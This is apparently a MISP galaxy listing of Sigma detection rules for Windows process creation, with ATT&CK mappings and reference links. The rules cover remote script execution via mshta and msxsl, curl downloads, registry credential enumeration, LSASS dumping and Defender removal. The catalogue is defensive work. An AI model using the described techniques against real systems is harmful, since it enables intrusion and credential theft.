- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15799. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742107(v=ws.11)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_stop_service.yml

Remote XSL Execution Via Msxsl.EXE

Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.

The tag is: *misp-galaxy:sigma-rules="Remote XSL Execution Via Msxsl.EXE"*

View relationships graph

Remote XSL Execution Via Msxsl.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Table 15800. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_remote_execution.yml

Potential ReflectDebugger Content Execution Via WerFault.EXE

Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow

The tag is: *misp-galaxy:sigma-rules="Potential ReflectDebugger Content Execution Via WerFault.EXE"*

View relationships graph

Potential ReflectDebugger Content Execution Via WerFault.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15801. Table References

Links
https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_reflect_debugger_exec.yml

Potential Mpclient.DLL Sideloading Via Defender Binaries

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.

The tag is: *misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideloading Via Defender Binaries"*

View relationships graph

Potential Mpclient.DLL Sideloading Via Defender Binaries has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15802. Table References

Links
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_dll_sideload_defender.yml

Potentially Suspicious Electron Application CommandLine

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Electron Application CommandLine"*

Table 15803. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/
https://lolbas-project.github.io/lolbas/Binaries/Msedge/
https://lolbas-project.github.io/lolbas/Binaries/Teams/
https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf
https://chromium.googlesource.com/chromium/chromium/ /master/content/public/common/content_switches.cc[https://chromium.googlesource.com/chromium/chromium//master/content/public/common/content_switches.cc]
https://positive.security/blog/ms-officecmd-rce
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml

QuickAssist Execution

Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access.

The tag is: *misp-galaxy:sigma-rules="QuickAssist Execution"*

View relationships graph

QuickAssist Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15804. Table References

Links

https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist
https://x.com/cyb3rops/status/1862406110365245506
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quickassist_execution.yml

Virtualbox Driver Installation or Starting of VMs

Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.

The tag is: *misp-galaxy:sigma-rules="Virtualbox Driver Installation or Starting of VMs"*

View relationships graph

Virtualbox Driver Installation or Starting of VMs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 15805. Table References

Links
https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_execution.yml

Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

The tag is: *misp-galaxy:sigma-rules="Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS"*

View relationships graph

Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 15806. Table References

Links
https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gather_network_info_execution.yml

HackTool - CoercedPotato Execution

Detects the use of CoercedPotato, a tool for privilege escalation

The tag is: *misp-galaxy:sigma-rules="HackTool - CoercedPotato Execution"*

View relationships graph

HackTool - CoercedPotato Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 15807. Table References

Links
https://blog.hackvens.fr/articles/CoercedPotato.html
https://github.com/hackvens/CoercedPotato
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_coercedpotato.yml

Dropping Of Password Filter DLL

Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS

The tag is: *misp-galaxy:sigma-rules="Dropping Of Password Filter DLL"*

View relationships graph

Dropping Of Password Filter DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"

Table 15808. Table References

Links
https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/
https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_credential_access_via_password_filter.yml

Potentially Over Permissive Permissions Granted Using Dsacls.EXE

Detects usage of Dsacls to grant over permissive permissions

The tag is: *misp-galaxy:sigma-rules="Potentially Over Permissive Permissions Granted Using Dsacls.EXE"*

View relationships graph

Potentially Over Permissive Permissions Granted Using Dsacls.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15809. Table References

Links
https://ss64.com/nt/dsacls.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml

C# IL Code Compilation Via Ilasm.EXE

Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL.

The tag is: *misp-galaxy:sigma-rules="C# IL Code Compilation Via Ilasm.EXE"*

View relationships graph

C# IL Code Compilation Via Ilasm.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15810. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Ilasm/
https://www.echotrail.io/insights/search/ilasm.exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ilasm_il_code_compilation.yml

Group Membership Reconnaissance Via Whoami.EXE

Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.

The tag is: *misp-galaxy:sigma-rules="Group Membership Reconnaissance Via Whoami.EXE"*

View relationships graph

Group Membership Reconnaissance Via Whoami.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15811. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_groups_discovery.yml

Deleted Data Overwritten Via Cipher.EXE

Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives

The tag is: *misp-galaxy:sigma-rules="Deleted Data Overwritten Via Cipher.EXE"*

View relationships graph

Deleted Data Overwritten Via Cipher.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 15812. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml

Suspicious Curl.EXE Download

Detects a suspicious curl process start on Windows and outputs the requested document to a local file

The tag is: *misp-galaxy:sigma-rules="Suspicious Curl.EXE Download"*

View relationships graph

Suspicious Curl.EXE Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15813. Table References

Links
https://twitter.com/max_mal_/status/1542461200797163522
https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/
https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file
https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml

Detection of PowerShell Execution via Sqlps.exe

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

The tag is: *misp-galaxy:sigma-rules="Detection of PowerShell Execution via Sqlps.exe"*

View relationships graph

Detection of PowerShell Execution via Sqlps.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15814. Table References

Links
https://learn.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15
https://twitter.com/bryon_/status/975835709587075072
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml

Findstr Launching .lnk File

Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack

The tag is: *misp-galaxy:sigma-rules="Findstr Launching .lnk File"*

View relationships graph

Findstr Launching .lnk File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Table 15815. Table References

Links
https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lnk.yml

Renamed BOINC Client Execution

Detects the execution of a renamed BOINC binary.

The tag is: *misp-galaxy:sigma-rules="Renamed BOINC Client Execution"*

View relationships graph

Renamed BOINC Client Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"

Table 15816. Table References

Links
https://boinc.berkeley.edu/
https://www.virustotal.com/gui/file/91e405e8a527023fb8696624e70498ae83660fe6757cef4871ce9bcc659264d3/details
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_boinc.yml

Suspicious Schtasks Execution AppData Folder

Detects the creation of a schtask that executes a file from C:\Users\<USER>\AppData\Local

The tag is: *misp-galaxy:sigma-rules="Suspicious Schtasks Execution AppData Folder"*

View relationships graph

Suspicious Schtasks Execution AppData Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15817. Table References

Links
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml

Potential Recon Activity Using DriverQuery.EXE

Detect usage of the "driverquery" utility to perform reconnaissance on installed drivers

The tag is: *misp-galaxy:sigma-rules="Potential Recon Activity Using DriverQuery.EXE"*

Table 15818. Table References

Links

https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/
https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html
https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_recon.yml

Copy From VolumeShadowCopy Via Cmd.EXE

Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)

The tag is: *misp-galaxy:sigma-rules="Copy From VolumeShadowCopy Via Cmd.EXE"*

View relationships graph

Copy From VolumeShadowCopy Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15819. Table References

Links
https://twitter.com/vxunderground/status/1423336151860002816?s=20
https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_shadowcopy_access.yml

Suspicious File Characteristics Due to Missing Fields

Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Characteristics Due to Missing Fields"*

View relationships graph

Suspicious File Characteristics Due to Missing Fields has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

Table 15820. Table References

Links

https://securelist.com/muddywater/88059/
<a href="https://www.virustotal.com/<mark>/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection">https://www.virustotal.com/</mark>/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml

File Deletion Via Del

Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: *misp-galaxy:sigma-rules="File Deletion Via Del"*

View relationships graph

File Deletion Via Del has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 15821. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_execution.yml

Chromium Browser Headless Execution To Mockbin Like Site

Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).

The tag is: *misp-galaxy:sigma-rules="Chromium Browser Headless Execution To Mockbin Like Site"*

Table 15822. Table References

Links
https://www.zscaler.com/blogs/security-research/steal-it-campaign

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse.yml

Renamed FTP.EXE Execution

Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields

The tag is: *misp-galaxy:sigma-rules="Renamed FTP.EXE Execution"*

View relationships graph

Renamed FTP.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15823. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ftp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml

Suspicious Uninstall of Windows Defender Feature via PowerShell

Detects the use of PowerShell with Uninstall-WindowsFeature or Remove-WindowsFeature cmdlets to disable or remove the Windows Defender GUI feature, a common technique used by adversaries to evade defenses.

The tag is: *misp-galaxy:sigma-rules="Suspicious Uninstall of Windows Defender Feature via PowerShell"*

View relationships graph

Suspicious Uninstall of Windows Defender Feature via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15824. Table References

Links
https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware

https://learn.microsoft.com/en-us/powershell/module/microsoft.windows.servermanager.migration/uninstall-windowsfeature
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_uninstall_defender_feature.yml

Portable Gpg.EXE Execution

Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.

The tag is: *misp-galaxy:sigma-rules="Portable Gpg.EXE Execution"*

View relationships graph

Portable Gpg.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 15825. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/c4097dc7ed14d7f7d08c89d148c4307097e8c294/atomics/T1486/T1486.md
https://securelist.com/locked-out/68960/
https://www.trendmicro.com/vinfo/vn/threat-encyclopedia/malware/ransom.bat.zarlock.a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_portable_execution.yml

Use of VSIISExeLauncher.exe

The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries

The tag is: *misp-galaxy:sigma-rules="Use of VSIISExeLauncher.exe"*

View relationships graph

Use of VSIISExeLauncher.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15826. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml

Enumeration for 3rd Party Creds From CLI

Detects processes that query known 3rd party registry keys that holds credentials via commandline

The tag is: *misp-galaxy:sigma-rules="Enumeration for 3rd Party Creds From CLI"*

View relationships graph

Enumeration for 3rd Party Creds From CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 15827. Table References

Links
https://isc.sans.edu/diary/More+Data+Exfiltration/25698
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry
https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt
https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_enumeration_for_credentials_cli.yml

Base64 MZ Header In CommandLine

Detects encoded base64 MZ header in the commandline

The tag is: *misp-galaxy:sigma-rules="Base64 MZ Header In CommandLine"*

Table 15828. Table References

Links
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_base64_mz_header.yml

Imports Registry Key From an ADS

Detects the import of a alternate datastream to the registry with regedit.exe.

The tag is: *misp-galaxy:sigma-rules="Imports Registry Key From an ADS"*

View relationships graph

Imports Registry Key From an ADS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15829. Table References

Links
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regedit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml

PsExec Service Execution

Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution

The tag is: *misp-galaxy:sigma-rules="PsExec Service Execution"*

Table 15830. Table References

Links
https://www.youtube.com/watch?v=ro2QuZTIMBM
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml

Exports Critical Registry Keys To a File

Detects the export of a crital Registry key to a file.

The tag is: *misp-galaxy:sigma-rules="Exports Critical Registry Keys To a File"*

View relationships graph

Exports Critical Registry Keys To a File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 15831. Table References

Links
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regedit/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml

Execution via stordiag.exe

Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe

The tag is: *misp-galaxy:sigma-rules="Execution via stordiag.exe"*

View relationships graph

Execution via stordiag.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15832. Table References

Links
https://twitter.com/eral4m/status/1451112385041911809
https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml

Potential Crypto Mining Activity

Detects command line parameters or strings often used by crypto miners

The tag is: *misp-galaxy:sigma-rules="Potential Crypto Mining Activity"*

View relationships graph

Potential Crypto Mining Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 15833. Table References

Links
https://www.poolwatch.io/coin/monero
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crypto_mining_monero.yml

Potentially Suspicious Inline JavaScript Execution via NodeJS Binary

Detects potentially suspicious inline JavaScript execution using Node.js with specific keywords in the command line.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Inline JavaScript Execution via NodeJS Binary"*

View relationships graph

Potentially Suspicious Inline JavaScript Execution via NodeJS Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15834. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_node_js_execution.yml

Process Launched Without Image Name

Detect the use of processes with no name (".exe"), which can be used to evade Image-based detections.

The tag is: *misp-galaxy:sigma-rules="Process Launched Without Image Name"*

Table 15835. Table References

Links
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_no_image_name.yml

HackTool - F-Secure C3 Load by Rundll32

F-Secure C3 produces DLLs with a default exported StartNodeRelay function.

The tag is: *misp-galaxy:sigma-rules="HackTool - F-Secure C3 Load by Rundll32"*

View relationships graph

HackTool - F-Secure C3 Load by Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15836. Table References

Links
https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_c3_rundll32_pattern.yml

Use Short Name Path in Image

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection

The tag is: *misp-galaxy:sigma-rules="Use Short Name Path in Image"*

View relationships graph

Use Short Name Path in Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15837. Table References

Links
https://twitter.com/frack113/status/1555830623633375232
https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml

Remote Access Tool - NetSupport Execution From Unusual Location

Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - NetSupport Execution From Unusual Location"*

Table 15838. Table References

Links

https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport_susp_exec.yml

Suspicious DumpMinitool Execution

Detects suspicious ways to use the "DumpMinitool.exe" binary

The tag is: *misp-galaxy:sigma-rules="Suspicious DumpMinitool Execution"*

View relationships graph

Suspicious DumpMinitool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15839. Table References

Links
https://twitter.com/mrd0x/status/1511415432888131586
https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/
https://twitter.com/mrd0x/status/1511489821247684615
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml

HackTool - SILENTTRINITY Stager Execution

Detects SILENTTRINITY stager use via PE metadata

The tag is: *misp-galaxy:sigma-rules="HackTool - SILENTTRINITY Stager Execution"*

View relationships graph

HackTool - SILENTTRINITY Stager Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 15840. Table References

Links
https://github.com/byt3bl33d3r/SILENTTRINITY
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_silenttrinity_stager.yml

Detected Windows Software Discovery

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

The tag is: *misp-galaxy:sigma-rules="Detected Windows Software Discovery"*

View relationships graph

Detected Windows Software Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 15841. Table References

Links
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_software_discovery.yml

Remotely Hosted HTA File Executed Via Mshta.EXE

Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file

The tag is: *misp-galaxy:sigma-rules="Remotely Hosted HTA File Executed Via Mshta.EXE"*

View relationships graph

